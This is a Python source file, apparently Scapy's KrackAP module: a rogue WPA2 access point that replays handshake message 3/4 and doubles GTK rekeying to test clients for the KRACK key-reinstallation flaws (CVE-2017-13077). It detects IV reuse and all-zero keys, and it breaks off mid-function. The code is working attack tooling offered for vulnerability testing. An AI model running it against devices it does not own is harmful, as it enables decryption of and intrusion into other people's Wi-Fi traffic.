896 lines
31 KiB
Python
896 lines
31 KiB
Python
|
import hmac
|
||
|
import hashlib
|
||
|
from itertools import count
|
||
|
import struct
|
||
|
import time
|
||
|
|
||
|
from cryptography.hazmat.primitives import hashes
|
||
|
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
|
||
|
from cryptography.hazmat.backends import default_backend
|
||
|
|
||
|
from scapy.automaton import ATMT, Automaton
|
||
|
from scapy.base_classes import Net
|
||
|
from scapy.config import conf
|
||
|
from scapy.compat import raw, chb
|
||
|
from scapy.consts import WINDOWS
|
||
|
from scapy.error import log_runtime, Scapy_Exception
|
||
|
from scapy.layers.dot11 import RadioTap, Dot11, Dot11AssoReq, Dot11AssoResp, \
|
||
|
Dot11Auth, Dot11Beacon, Dot11Elt, Dot11EltRates, Dot11EltRSN, \
|
||
|
Dot11ProbeReq, Dot11ProbeResp, RSNCipherSuite, AKMSuite
|
||
|
from scapy.layers.eap import EAPOL
|
||
|
from scapy.layers.l2 import ARP, LLC, SNAP, Ether
|
||
|
from scapy.layers.dhcp import DHCP_am
|
||
|
from scapy.packet import Raw
|
||
|
from scapy.utils import hexdump, mac2str
|
||
|
from scapy.volatile import RandBin
|
||
|
|
||
|
|
||
|
from scapy.modules.krack.crypto import parse_data_pkt, parse_TKIP_hdr, \
|
||
|
build_TKIP_payload, check_MIC_ICV, MICError, ICVError, build_MIC_ICV, \
|
||
|
customPRF512, ARC4_encrypt
|
||
|
|
||
|
|
||
|
class DHCPOverWPA(DHCP_am):
|
||
|
"""Wrapper over DHCP_am to send and recv inside a WPA channel"""
|
||
|
|
||
|
def __init__(self, send_func, *args, **kwargs):
|
||
|
super(DHCPOverWPA, self).__init__(*args, **kwargs)
|
||
|
self.send_function = send_func
|
||
|
|
||
|
def sniff(self, *args, **kwargs):
|
||
|
# Do not sniff, use a direct call to 'replay(pkt)' instead
|
||
|
return
|
||
|
|
||
|
|
||
|
class KrackAP(Automaton):
|
||
|
"""Tiny WPA AP for detecting client vulnerable to KRACK attacks defined in:
|
||
|
"Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2"
|
||
|
|
||
|
Example of use:
|
||
|
KrackAP(
|
||
|
iface="mon0", # A monitor interface
|
||
|
ap_mac='11:22:33:44:55:66', # MAC to use
|
||
|
ssid="TEST_KRACK", # SSID
|
||
|
passphrase="testtest", # Associated passphrase
|
||
|
).run()
|
||
|
|
||
|
Then, on the target device, connect to "TEST_KRACK" using "testtest" as the
|
||
|
passphrase.
|
||
|
The output logs will indicate if one of the CVE have been triggered.
|
||
|
"""
|
||
|
|
||
|
# Number of "GTK rekeying -> ARP replay" attempts. The vulnerability may not # noqa: E501
|
||
|
# be detected the first time. Several attempt implies the client has been
|
||
|
# likely patched
|
||
|
ARP_MAX_RETRY = 50
|
||
|
|
||
|
def __init__(self, *args, **kargs):
|
||
|
kargs.setdefault("ll", conf.L2socket)
|
||
|
kargs.setdefault("monitor", True)
|
||
|
super(KrackAP, self).__init__(*args, **kargs)
|
||
|
|
||
|
def parse_args(self, ap_mac, ssid, passphrase,
|
||
|
channel=None,
|
||
|
# KRACK attack options
|
||
|
double_3handshake=True,
|
||
|
encrypt_3handshake=True,
|
||
|
wait_3handshake=0,
|
||
|
double_gtk_refresh=True,
|
||
|
arp_target_ip=None,
|
||
|
arp_source_ip=None,
|
||
|
wait_gtk=10,
|
||
|
**kwargs):
|
||
|
"""
|
||
|
Mandatory arguments:
|
||
|
@iface: interface to use (must be in monitor mode)
|
||
|
@ap_mac: AP's MAC
|
||
|
@ssid: AP's SSID
|
||
|
@passphrase: AP's Passphrase (min 8 char.)
|
||
|
|
||
|
Optional arguments:
|
||
|
@channel: used by the interface. Default 6, autodetected on windows
|
||
|
|
||
|
Krack attacks options:
|
||
|
|
||
|
- Msg 3/4 handshake replay:
|
||
|
double_3handshake: double the 3/4 handshake message
|
||
|
encrypt_3handshake: encrypt the second 3/4 handshake message
|
||
|
wait_3handshake: time to wait (in sec.) before sending the second 3/4
|
||
|
- double GTK rekeying:
|
||
|
double_gtk_refresh: double the 1/2 GTK rekeying message
|
||
|
wait_gtk: time to wait (in sec.) before sending the GTK rekeying
|
||
|
arp_target_ip: Client IP to use in ARP req. (to detect attack success)
|
||
|
If None, use a DHCP server
|
||
|
arp_source_ip: Server IP to use in ARP req. (to detect attack success)
|
||
|
If None, use the DHCP server gateway address
|
||
|
"""
|
||
|
super(KrackAP, self).parse_args(**kwargs)
|
||
|
|
||
|
# Main AP options
|
||
|
self.mac = ap_mac
|
||
|
self.ssid = ssid
|
||
|
self.passphrase = passphrase
|
||
|
if channel is None:
|
||
|
if WINDOWS:
|
||
|
try:
|
||
|
channel = kwargs.get("iface", conf.iface).channel()
|
||
|
except (Scapy_Exception, AttributeError):
|
||
|
channel = 6
|
||
|
else:
|
||
|
channel = 6
|
||
|
self.channel = channel
|
||
|
|
||
|
# Internal structures
|
||
|
self.last_iv = None
|
||
|
self.client = None
|
||
|
self.seq_num = count()
|
||
|
self.replay_counter = count()
|
||
|
self.time_handshake_end = None
|
||
|
self.dhcp_server = DHCPOverWPA(send_func=self.send_ether_over_wpa,
|
||
|
pool=Net("192.168.42.128/25"),
|
||
|
network="192.168.42.0/24",
|
||
|
gw="192.168.42.1")
|
||
|
self.arp_sent = []
|
||
|
self.arp_to_send = 0
|
||
|
self.arp_retry = 0
|
||
|
|
||
|
# Bit 0: 3way handshake sent
|
||
|
# Bit 1: GTK rekeying sent
|
||
|
# Bit 2: ARP response obtained
|
||
|
self.krack_state = 0
|
||
|
|
||
|
# Krack options
|
||
|
self.double_3handshake = double_3handshake
|
||
|
self.encrypt_3handshake = encrypt_3handshake
|
||
|
self.wait_3handshake = wait_3handshake
|
||
|
self.double_gtk_refresh = double_gtk_refresh
|
||
|
self.arp_target_ip = arp_target_ip
|
||
|
if arp_source_ip is None:
|
||
|
# Use the DHCP server Gateway address
|
||
|
arp_source_ip = self.dhcp_server.gw
|
||
|
self.arp_source_ip = arp_source_ip
|
||
|
self.wait_gtk = wait_gtk
|
||
|
|
||
|
# May take several seconds
|
||
|
self.install_PMK()
|
||
|
|
||
|
def run(self, *args, **kwargs):
|
||
|
log_runtime.warning("AP started with ESSID: %s, BSSID: %s",
|
||
|
self.ssid, self.mac)
|
||
|
super(KrackAP, self).run(*args, **kwargs)
|
||
|
|
||
|
# Key utils
|
||
|
|
||
|
@staticmethod
|
||
|
def gen_nonce(size):
|
||
|
"""Return a nonce of @size element of random bytes as a string"""
|
||
|
return raw(RandBin(size))
|
||
|
|
||
|
def install_PMK(self):
|
||
|
"""Compute and install the PMK"""
|
||
|
self.pmk = PBKDF2HMAC(
|
||
|
algorithm=hashes.SHA1(),
|
||
|
length=32,
|
||
|
salt=self.ssid.encode(),
|
||
|
iterations=4096,
|
||
|
backend=default_backend(),
|
||
|
).derive(self.passphrase.encode())
|
||
|
|
||
|
def install_unicast_keys(self, client_nonce):
|
||
|
"""Use the client nonce @client_nonce to compute and install
|
||
|
PTK, KCK, KEK, TK, MIC (AP -> STA), MIC (STA -> AP)
|
||
|
"""
|
||
|
pmk = self.pmk
|
||
|
anonce = self.anonce
|
||
|
snonce = client_nonce
|
||
|
amac = mac2str(self.mac)
|
||
|
smac = mac2str(self.client)
|
||
|
|
||
|
# Compute PTK
|
||
|
self.ptk = customPRF512(pmk, amac, smac, anonce, snonce)
|
||
|
|
||
|
# Extract derivated keys
|
||
|
self.kck = self.ptk[:16]
|
||
|
self.kek = self.ptk[16:32]
|
||
|
self.tk = self.ptk[32:48]
|
||
|
self.mic_ap_to_sta = self.ptk[48:56]
|
||
|
self.mic_sta_to_ap = self.ptk[56:64]
|
||
|
|
||
|
# Reset IV
|
||
|
self.client_iv = count()
|
||
|
|
||
|
def install_GTK(self):
|
||
|
"""Compute a new GTK and install it alongs
|
||
|
MIC (AP -> Group = broadcast + multicast)
|
||
|
"""
|
||
|
|
||
|
# Compute GTK
|
||
|
self.gtk_full = self.gen_nonce(32)
|
||
|
self.gtk = self.gtk_full[:16]
|
||
|
|
||
|
# Extract derivated keys
|
||
|
self.mic_ap_to_group = self.gtk_full[16:24]
|
||
|
|
||
|
# Reset IV
|
||
|
self.group_iv = count()
|
||
|
|
||
|
# Packet utils
|
||
|
|
||
|
def build_ap_info_pkt(self, layer_cls, dest):
|
||
|
"""Build a packet with info describing the current AP
|
||
|
For beacon / proberesp use
|
||
|
"""
|
||
|
return RadioTap() \
|
||
|
/ Dot11(addr1=dest, addr2=self.mac, addr3=self.mac) \
|
||
|
/ layer_cls(timestamp=0, beacon_interval=100,
|
||
|
cap='ESS+privacy') \
|
||
|
/ Dot11Elt(ID="SSID", info=self.ssid) \
|
||
|
/ Dot11EltRates(rates=[130, 132, 139, 150, 12, 18, 24, 36]) \
|
||
|
/ Dot11Elt(ID="DSset", info=chb(self.channel)) \
|
||
|
/ Dot11EltRSN(group_cipher_suite=RSNCipherSuite(cipher=0x2),
|
||
|
pairwise_cipher_suites=[RSNCipherSuite(cipher=0x2)],
|
||
|
akm_suites=[AKMSuite(suite=0x2)])
|
||
|
|
||
|
@staticmethod
|
||
|
def build_EAPOL_Key_8021X2004(
|
||
|
key_information,
|
||
|
replay_counter,
|
||
|
nonce,
|
||
|
data=None,
|
||
|
key_mic=None,
|
||
|
key_data_encrypt=None,
|
||
|
key_rsc=0,
|
||
|
key_id=0,
|
||
|
key_descriptor_type=2, # EAPOL RSN Key
|
||
|
):
|
||
|
pkt = EAPOL(version="802.1X-2004", type="EAPOL-Key")
|
||
|
|
||
|
key_iv = KrackAP.gen_nonce(16)
|
||
|
|
||
|
assert key_rsc == 0 # Other values unsupported
|
||
|
assert key_id == 0 # Other values unsupported
|
||
|
payload = b"".join([
|
||
|
chb(key_descriptor_type),
|
||
|
struct.pack(">H", key_information),
|
||
|
b'\x00\x20', # Key length
|
||
|
struct.pack(">Q", replay_counter),
|
||
|
nonce,
|
||
|
key_iv,
|
||
|
struct.pack(">Q", key_rsc),
|
||
|
struct.pack(">Q", key_id),
|
||
|
])
|
||
|
|
||
|
# MIC field is set to 0's during MIC computation
|
||
|
offset_MIC = len(payload)
|
||
|
payload += b'\x00' * 0x10
|
||
|
|
||
|
if data is None and key_mic is None and key_data_encrypt is None:
|
||
|
# If key is unknown and there is no data, no MIC is needed
|
||
|
# Example: handshake 1/4
|
||
|
payload += b'\x00' * 2 # Length
|
||
|
return pkt / Raw(load=payload)
|
||
|
|
||
|
assert data is not None
|
||
|
assert key_mic is not None
|
||
|
assert key_data_encrypt is not None
|
||
|
|
||
|
# Skip 256 first bytes
|
||
|
# REF: 802.11i 8.5.2
|
||
|
# Key Descriptor Version 1:
|
||
|
# ...
|
||
|
# No padding shall be used. The encryption key is generated by
|
||
|
# concatenating the EAPOL-Key IV field and the KEK. The first 256 octets # noqa: E501
|
||
|
# of the RC4 key stream shall be discarded following RC4 stream cipher
|
||
|
# initialization with the KEK, and encryption begins using the 257th key # noqa: E501
|
||
|
# stream octet.
|
||
|
enc_data = ARC4_encrypt(key_iv + key_data_encrypt, data, skip=256)
|
||
|
|
||
|
payload += struct.pack(">H", len(data))
|
||
|
payload += enc_data
|
||
|
|
||
|
# Compute MIC and set at the right place
|
||
|
temp_mic = pkt.copy()
|
||
|
temp_mic /= Raw(load=payload)
|
||
|
to_mic = raw(temp_mic[EAPOL])
|
||
|
mic = hmac.new(key_mic, to_mic, hashlib.md5).digest()
|
||
|
final_payload = payload[:offset_MIC] + mic + payload[offset_MIC + len(mic):] # noqa: E501
|
||
|
assert len(final_payload) == len(payload)
|
||
|
|
||
|
return pkt / Raw(load=final_payload)
|
||
|
|
||
|
def build_GTK_KDE(self):
|
||
|
"""Build the Key Data Encapsulation for GTK
|
||
|
KeyID: 0
|
||
|
Ref: 802.11i p81
|
||
|
"""
|
||
|
return b''.join([
|
||
|
b'\xdd', # Type KDE
|
||
|
chb(len(self.gtk_full) + 6),
|
||
|
b'\x00\x0f\xac', # OUI
|
||
|
b'\x01', # GTK KDE
|
||
|
b'\x00\x00', # KeyID - Tx - Reserved x2
|
||
|
self.gtk_full,
|
||
|
])
|
||
|
|
||
|
def send_wpa_enc(self, data, iv, seqnum, dest, mic_key,
|
||
|
key_idx=0, additionnal_flag=["from-DS"],
|
||
|
encrypt_key=None):
|
||
|
"""Send an encrypted packet with content @data, using IV @iv,
|
||
|
sequence number @seqnum, MIC key @mic_key
|
||
|
"""
|
||
|
|
||
|
if encrypt_key is None:
|
||
|
encrypt_key = self.tk
|
||
|
|
||
|
rep = RadioTap()
|
||
|
rep /= Dot11(
|
||
|
addr1=dest,
|
||
|
addr2=self.mac,
|
||
|
addr3=self.mac,
|
||
|
FCfield="+".join(['protected'] + additionnal_flag),
|
||
|
SC=(next(self.seq_num) << 4),
|
||
|
subtype=0,
|
||
|
type="Data",
|
||
|
)
|
||
|
|
||
|
# Assume packet is send by our AP -> use self.mac as source
|
||
|
|
||
|
# Encapsule in TKIP with MIC Michael and ICV
|
||
|
data_to_enc = build_MIC_ICV(raw(data), mic_key, self.mac, dest)
|
||
|
|
||
|
# Header TKIP + payload
|
||
|
rep /= Raw(build_TKIP_payload(data_to_enc, iv, self.mac, encrypt_key))
|
||
|
|
||
|
self.send(rep)
|
||
|
return rep
|
||
|
|
||
|
def send_wpa_to_client(self, data, **kwargs):
|
||
|
kwargs.setdefault("encrypt_key", self.tk)
|
||
|
return self.send_wpa_enc(data, next(self.client_iv),
|
||
|
next(self.seq_num), self.client,
|
||
|
self.mic_ap_to_sta, **kwargs)
|
||
|
|
||
|
def send_wpa_to_group(self, data, dest="ff:ff:ff:ff:ff:ff", **kwargs):
|
||
|
kwargs.setdefault("encrypt_key", self.gtk)
|
||
|
return self.send_wpa_enc(data, next(self.group_iv),
|
||
|
next(self.seq_num), dest,
|
||
|
self.mic_ap_to_group, **kwargs)
|
||
|
|
||
|
def send_ether_over_wpa(self, pkt, **kwargs):
|
||
|
"""Send an Ethernet packet using the WPA channel
|
||
|
Extra arguments will be ignored, and are just left for compatibility
|
||
|
"""
|
||
|
|
||
|
payload = LLC() / SNAP() / pkt[Ether].payload
|
||
|
dest = pkt.dst
|
||
|
if dest == "ff:ff:ff:ff:ff:ff":
|
||
|
self.send_wpa_to_group(payload, dest)
|
||
|
else:
|
||
|
assert dest == self.client
|
||
|
self.send_wpa_to_client(payload)
|
||
|
|
||
|
def deal_common_pkt(self, pkt):
|
||
|
# Send to DHCP server
|
||
|
# LLC / SNAP to Ether
|
||
|
if SNAP in pkt:
|
||
|
ether_pkt = Ether(src=self.client, dst=self.mac) / pkt[SNAP].payload # noqa: E501
|
||
|
self.dhcp_server.reply(ether_pkt)
|
||
|
|
||
|
# If an ARP request is made, extract client IP and answer
|
||
|
if ARP in pkt and \
|
||
|
pkt[ARP].op == 1 and pkt[ARP].pdst == self.dhcp_server.gw:
|
||
|
if self.arp_target_ip is None:
|
||
|
self.arp_target_ip = pkt[ARP].psrc
|
||
|
log_runtime.info("Detected IP: %s", self.arp_target_ip)
|
||
|
|
||
|
# Reply
|
||
|
ARP_ans = LLC() / SNAP() / ARP(
|
||
|
op="is-at",
|
||
|
psrc=self.arp_source_ip,
|
||
|
pdst=self.arp_target_ip,
|
||
|
hwsrc=self.mac,
|
||
|
hwdst=self.client,
|
||
|
)
|
||
|
self.send_wpa_to_client(ARP_ans)
|
||
|
|
||
|
# States
|
||
|
|
||
|
@ATMT.state(initial=True)
|
||
|
def WAIT_AUTH_REQUEST(self):
|
||
|
log_runtime.debug("State WAIT_AUTH_REQUEST")
|
||
|
|
||
|
@ATMT.state()
|
||
|
def AUTH_RESPONSE_SENT(self):
|
||
|
log_runtime.debug("State AUTH_RESPONSE_SENT")
|
||
|
|
||
|
@ATMT.state()
|
||
|
def ASSOC_RESPONSE_SENT(self):
|
||
|
log_runtime.debug("State ASSOC_RESPONSE_SENT")
|
||
|
|
||
|
@ATMT.state()
|
||
|
def WPA_HANDSHAKE_STEP_1_SENT(self):
|
||
|
log_runtime.debug("State WPA_HANDSHAKE_STEP_1_SENT")
|
||
|
|
||
|
@ATMT.state()
|
||
|
def WPA_HANDSHAKE_STEP_3_SENT(self):
|
||
|
log_runtime.debug("State WPA_HANDSHAKE_STEP_3_SENT")
|
||
|
|
||
|
@ATMT.state()
|
||
|
def KRACK_DISPATCHER(self):
|
||
|
log_runtime.debug("State KRACK_DISPATCHER")
|
||
|
|
||
|
@ATMT.state()
|
||
|
def ANALYZE_DATA(self):
|
||
|
log_runtime.debug("State ANALYZE_DATA")
|
||
|
|
||
|
@ATMT.timeout(ANALYZE_DATA, 1)
|
||
|
def timeout_analyze_data(self):
|
||
|
raise self.KRACK_DISPATCHER()
|
||
|
|
||
|
@ATMT.state()
|
||
|
def RENEW_GTK(self):
|
||
|
log_runtime.debug("State RENEW_GTK")
|
||
|
|
||
|
@ATMT.state()
|
||
|
def WAIT_GTK_ACCEPT(self):
|
||
|
log_runtime.debug("State WAIT_GTK_ACCEPT")
|
||
|
|
||
|
@ATMT.state()
|
||
|
def WAIT_ARP_REPLIES(self):
|
||
|
log_runtime.debug("State WAIT_ARP_REPLIES")
|
||
|
|
||
|
@ATMT.state(final=1)
|
||
|
def EXIT(self):
|
||
|
log_runtime.debug("State EXIT")
|
||
|
|
||
|
@ATMT.timeout(WAIT_GTK_ACCEPT, 1)
|
||
|
def timeout_wait_gtk_accept(self):
|
||
|
raise self.RENEW_GTK()
|
||
|
|
||
|
@ATMT.timeout(WAIT_AUTH_REQUEST, 0.1)
|
||
|
def timeout_waiting(self):
|
||
|
raise self.WAIT_AUTH_REQUEST()
|
||
|
|
||
|
@ATMT.action(timeout_waiting)
|
||
|
def send_beacon(self):
|
||
|
log_runtime.debug("Send a beacon")
|
||
|
rep = self.build_ap_info_pkt(Dot11Beacon, dest="ff:ff:ff:ff:ff:ff")
|
||
|
self.send(rep)
|
||
|
|
||
|
@ATMT.receive_condition(WAIT_AUTH_REQUEST)
|
||
|
def probe_request_received(self, pkt):
|
||
|
# Avoid packet from other interfaces
|
||
|
if RadioTap not in pkt:
|
||
|
return
|
||
|
if Dot11ProbeReq in pkt and pkt[Dot11Elt::{'ID': 0}].info == self.ssid:
|
||
|
raise self.WAIT_AUTH_REQUEST().action_parameters(pkt)
|
||
|
|
||
|
@ATMT.action(probe_request_received)
|
||
|
def send_probe_response(self, pkt):
|
||
|
rep = self.build_ap_info_pkt(Dot11ProbeResp, dest=pkt.addr2)
|
||
|
self.send(rep)
|
||
|
|
||
|
@ATMT.receive_condition(WAIT_AUTH_REQUEST)
|
||
|
def authent_received(self, pkt):
|
||
|
# Avoid packet from other interfaces
|
||
|
if RadioTap not in pkt:
|
||
|
return
|
||
|
if Dot11Auth in pkt and pkt.addr1 == pkt.addr3 == self.mac:
|
||
|
raise self.AUTH_RESPONSE_SENT().action_parameters(pkt)
|
||
|
|
||
|
@ATMT.action(authent_received)
|
||
|
def send_auth_response(self, pkt):
|
||
|
|
||
|
# Save client MAC for later
|
||
|
self.client = pkt.addr2
|
||
|
log_runtime.warning("Client %s connected!", self.client)
|
||
|
|
||
|
# Launch DHCP Server
|
||
|
self.dhcp_server.run()
|
||
|
|
||
|
rep = RadioTap()
|
||
|
rep /= Dot11(addr1=self.client, addr2=self.mac, addr3=self.mac)
|
||
|
rep /= Dot11Auth(seqnum=2, algo=pkt[Dot11Auth].algo,
|
||
|
status=pkt[Dot11Auth].status)
|
||
|
|
||
|
self.send(rep)
|
||
|
|
||
|
@ATMT.receive_condition(AUTH_RESPONSE_SENT)
|
||
|
def assoc_received(self, pkt):
|
||
|
if Dot11AssoReq in pkt and pkt.addr1 == pkt.addr3 == self.mac and \
|
||
|
pkt[Dot11Elt::{'ID': 0}].info == self.ssid:
|
||
|
raise self.ASSOC_RESPONSE_SENT().action_parameters(pkt)
|
||
|
|
||
|
@ATMT.action(assoc_received)
|
||
|
def send_assoc_response(self, pkt):
|
||
|
|
||
|
# Get RSN info
|
||
|
temp_pkt = pkt[Dot11Elt::{"ID": 48}].copy()
|
||
|
temp_pkt.remove_payload()
|
||
|
self.RSN = raw(temp_pkt)
|
||
|
# Avoid 802.11w, etc. (deactivate RSN capabilities)
|
||
|
self.RSN = self.RSN[:-2] + b"\x00\x00"
|
||
|
|
||
|
rep = RadioTap()
|
||
|
rep /= Dot11(addr1=self.client, addr2=self.mac, addr3=self.mac)
|
||
|
rep /= Dot11AssoResp()
|
||
|
rep /= Dot11EltRates(rates=[130, 132, 139, 150, 12, 18, 24, 36])
|
||
|
|
||
|
self.send(rep)
|
||
|
|
||
|
@ATMT.condition(ASSOC_RESPONSE_SENT)
|
||
|
def assoc_sent(self):
|
||
|
raise self.WPA_HANDSHAKE_STEP_1_SENT()
|
||
|
|
||
|
@ATMT.action(assoc_sent)
|
||
|
def send_wpa_handshake_1(self):
|
||
|
|
||
|
self.anonce = self.gen_nonce(32)
|
||
|
|
||
|
rep = RadioTap()
|
||
|
rep /= Dot11(
|
||
|
addr1=self.client,
|
||
|
addr2=self.mac,
|
||
|
addr3=self.mac,
|
||
|
FCfield='from-DS',
|
||
|
SC=(next(self.seq_num) << 4),
|
||
|
)
|
||
|
rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)
|
||
|
rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication
|
||
|
rep /= self.build_EAPOL_Key_8021X2004(
|
||
|
key_information=0x89,
|
||
|
replay_counter=next(self.replay_counter),
|
||
|
nonce=self.anonce,
|
||
|
)
|
||
|
|
||
|
self.send(rep)
|
||
|
|
||
|
@ATMT.receive_condition(WPA_HANDSHAKE_STEP_1_SENT)
|
||
|
def wpa_handshake_1_sent(self, pkt):
|
||
|
# Avoid packet from other interfaces
|
||
|
if RadioTap not in pkt:
|
||
|
return
|
||
|
if EAPOL in pkt and pkt.addr1 == pkt.addr3 == self.mac and \
|
||
|
pkt[EAPOL].load[1:2] == b"\x01":
|
||
|
# Key MIC: set, Secure / Error / Request / Encrypted / SMK
|
||
|
# message: not set
|
||
|
raise self.WPA_HANDSHAKE_STEP_3_SENT().action_parameters(pkt)
|
||
|
|
||
|
@ATMT.action(wpa_handshake_1_sent)
|
||
|
def send_wpa_handshake_3(self, pkt):
|
||
|
|
||
|
# Both nonce have been exchanged, install keys
|
||
|
client_nonce = pkt[EAPOL].load[13:13 + 0x20]
|
||
|
self.install_unicast_keys(client_nonce)
|
||
|
|
||
|
# Check client MIC
|
||
|
|
||
|
# Data: full message with MIC place replaced by 0s
|
||
|
# https://stackoverflow.com/questions/15133797/creating-wpa-message-integrity-code-mic-with-python
|
||
|
client_mic = pkt[EAPOL].load[77:77 + 16]
|
||
|
client_data = raw(pkt[EAPOL]).replace(client_mic, b"\x00" * len(client_mic)) # noqa: E501
|
||
|
assert hmac.new(self.kck, client_data, hashlib.md5).digest() == client_mic # noqa: E501
|
||
|
|
||
|
rep = RadioTap()
|
||
|
rep /= Dot11(
|
||
|
addr1=self.client,
|
||
|
addr2=self.mac,
|
||
|
addr3=self.mac,
|
||
|
FCfield='from-DS',
|
||
|
SC=(next(self.seq_num) << 4),
|
||
|
)
|
||
|
|
||
|
rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)
|
||
|
rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication
|
||
|
|
||
|
self.install_GTK()
|
||
|
data = self.RSN
|
||
|
data += self.build_GTK_KDE()
|
||
|
|
||
|
eap = self.build_EAPOL_Key_8021X2004(
|
||
|
key_information=0x13c9,
|
||
|
replay_counter=next(self.replay_counter),
|
||
|
nonce=self.anonce,
|
||
|
data=data,
|
||
|
key_mic=self.kck,
|
||
|
key_data_encrypt=self.kek,
|
||
|
)
|
||
|
|
||
|
self.send(rep / eap)
|
||
|
|
||
|
@ATMT.receive_condition(WPA_HANDSHAKE_STEP_3_SENT)
|
||
|
def wpa_handshake_3_sent(self, pkt):
|
||
|
# Avoid packet from other interfaces
|
||
|
if RadioTap not in pkt:
|
||
|
return
|
||
|
if EAPOL in pkt and pkt.addr1 == pkt.addr3 == self.mac and \
|
||
|
pkt[EAPOL].load[1:3] == b"\x03\x09":
|
||
|
self.time_handshake_end = time.time()
|
||
|
raise self.KRACK_DISPATCHER()
|
||
|
|
||
|
@ATMT.condition(KRACK_DISPATCHER)
|
||
|
def krack_dispatch(self):
|
||
|
now = time.time()
|
||
|
# Handshake 3/4 replay
|
||
|
if self.double_3handshake and (self.krack_state & 1 == 0) and \
|
||
|
(now - self.time_handshake_end) > self.wait_3handshake:
|
||
|
log_runtime.info("Trying to trigger CVE-2017-13077")
|
||
|
raise self.ANALYZE_DATA().action_parameters(send_3handshake=True)
|
||
|
|
||
|
# GTK rekeying
|
||
|
if (self.krack_state & 2 == 0) and \
|
||
|
(now - self.time_handshake_end) > self.wait_gtk:
|
||
|
raise self.ANALYZE_DATA().action_parameters(send_gtk=True)
|
||
|
|
||
|
# Fallback in data analysis
|
||
|
raise self.ANALYZE_DATA().action_parameters()
|
||
|
|
||
|
@ATMT.action(krack_dispatch)
|
||
|
def krack_proceed(self, send_3handshake=False, send_gtk=False):
|
||
|
if send_3handshake:
|
||
|
rep = RadioTap()
|
||
|
rep /= Dot11(
|
||
|
addr1=self.client,
|
||
|
addr2=self.mac,
|
||
|
addr3=self.mac,
|
||
|
FCfield='from-DS',
|
||
|
SC=(next(self.seq_num) << 4),
|
||
|
subtype=0,
|
||
|
type="Data",
|
||
|
)
|
||
|
|
||
|
rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)
|
||
|
rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication
|
||
|
|
||
|
data = self.RSN
|
||
|
data += self.build_GTK_KDE()
|
||
|
|
||
|
eap_2 = self.build_EAPOL_Key_8021X2004(
|
||
|
# Key information 0x13c9:
|
||
|
# ARC4 HMAC-MD5, Pairwise Key, Install, KEY ACK, KEY MIC, Secure, # noqa: E501
|
||
|
# Encrypted, SMK
|
||
|
key_information=0x13c9,
|
||
|
replay_counter=next(self.replay_counter),
|
||
|
nonce=self.anonce,
|
||
|
data=data,
|
||
|
key_mic=self.kck,
|
||
|
key_data_encrypt=self.kek,
|
||
|
)
|
||
|
|
||
|
rep /= eap_2
|
||
|
|
||
|
if self.encrypt_3handshake:
|
||
|
self.send_wpa_to_client(rep[LLC])
|
||
|
else:
|
||
|
self.send(rep)
|
||
|
|
||
|
self.krack_state |= 1
|
||
|
|
||
|
if send_gtk:
|
||
|
self.krack_state |= 2
|
||
|
# Renew the GTK
|
||
|
self.install_GTK()
|
||
|
raise self.RENEW_GTK()
|
||
|
|
||
|
@ATMT.receive_condition(ANALYZE_DATA)
|
||
|
def get_data(self, pkt):
|
||
|
# Avoid packet from other interfaces
|
||
|
if RadioTap not in pkt:
|
||
|
return
|
||
|
|
||
|
# Skip retries
|
||
|
if pkt[Dot11].FCfield.retry:
|
||
|
return
|
||
|
|
||
|
# Skip unencrypted frames (TKIP rely on encrypted packets)
|
||
|
if not pkt[Dot11].FCfield.protected:
|
||
|
return
|
||
|
|
||
|
# Dot11.type 2: Data
|
||
|
if pkt.type == 2 and Raw in pkt and pkt.addr1 == self.mac:
|
||
|
# Do not check pkt.addr3, frame can be broadcast
|
||
|
raise self.KRACK_DISPATCHER().action_parameters(pkt)
|
||
|
|
||
|
@ATMT.action(get_data)
|
||
|
def extract_iv(self, pkt):
|
||
|
# Get IV
|
||
|
TSC, _, _ = parse_TKIP_hdr(pkt)
|
||
|
iv = TSC[0] | (TSC[1] << 8) | (TSC[2] << 16) | (TSC[3] << 24) | \
|
||
|
(TSC[4] << 32) | (TSC[5] << 40)
|
||
|
log_runtime.info("Got a packet with IV: %s", hex(iv))
|
||
|
|
||
|
if self.last_iv is None:
|
||
|
self.last_iv = iv
|
||
|
else:
|
||
|
if iv <= self.last_iv:
|
||
|
log_runtime.warning("IV re-use!! Client seems to be "
|
||
|
"vulnerable to handshake 3/4 replay "
|
||
|
"(CVE-2017-13077)"
|
||
|
)
|
||
|
|
||
|
data_clear = None
|
||
|
|
||
|
# Normal decoding
|
||
|
data = parse_data_pkt(pkt, self.tk)
|
||
|
try:
|
||
|
data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2,
|
||
|
pkt.addr3)
|
||
|
except (ICVError, MICError):
|
||
|
pass
|
||
|
|
||
|
# Decoding with a 0's TK
|
||
|
if data_clear is None:
|
||
|
data = parse_data_pkt(pkt, b"\x00" * len(self.tk))
|
||
|
try:
|
||
|
mic_key = b"\x00" * len(self.mic_sta_to_ap)
|
||
|
data_clear = check_MIC_ICV(data, mic_key, pkt.addr2, pkt.addr3)
|
||
|
log_runtime.warning("Client has installed an all zero "
|
||
|
"encryption key (TK)!!")
|
||
|
except (ICVError, MICError):
|
||
|
pass
|
||
|
|
||
|
if data_clear is None:
|
||
|
log_runtime.warning("Unable to decode the packet, something went "
|
||
|
"wrong")
|
||
|
log_runtime.debug(hexdump(pkt, dump=True))
|
||
|
self.deal_common_pkt(pkt)
|
||
|
return
|
||
|
|
||
|
log_runtime.debug(hexdump(data_clear, dump=True))
|
||
|
pkt = LLC(data_clear)
|
||
|
log_runtime.debug(repr(pkt))
|
||
|
self.deal_common_pkt(pkt)
|
||
|
|
||
|
@ATMT.condition(RENEW_GTK)
|
||
|
def gtk_pkt_1(self):
|
||
|
raise self.WAIT_GTK_ACCEPT()
|
||
|
|
||
|
@ATMT.action(gtk_pkt_1)
|
||
|
def send_renew_gtk(self):
|
||
|
|
||
|
rep_to_enc = LLC(dsap=0xaa, ssap=0xaa, ctrl=3)
|
||
|
rep_to_enc /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication
|
||
|
|
||
|
data = self.build_GTK_KDE()
|
||
|
|
||
|
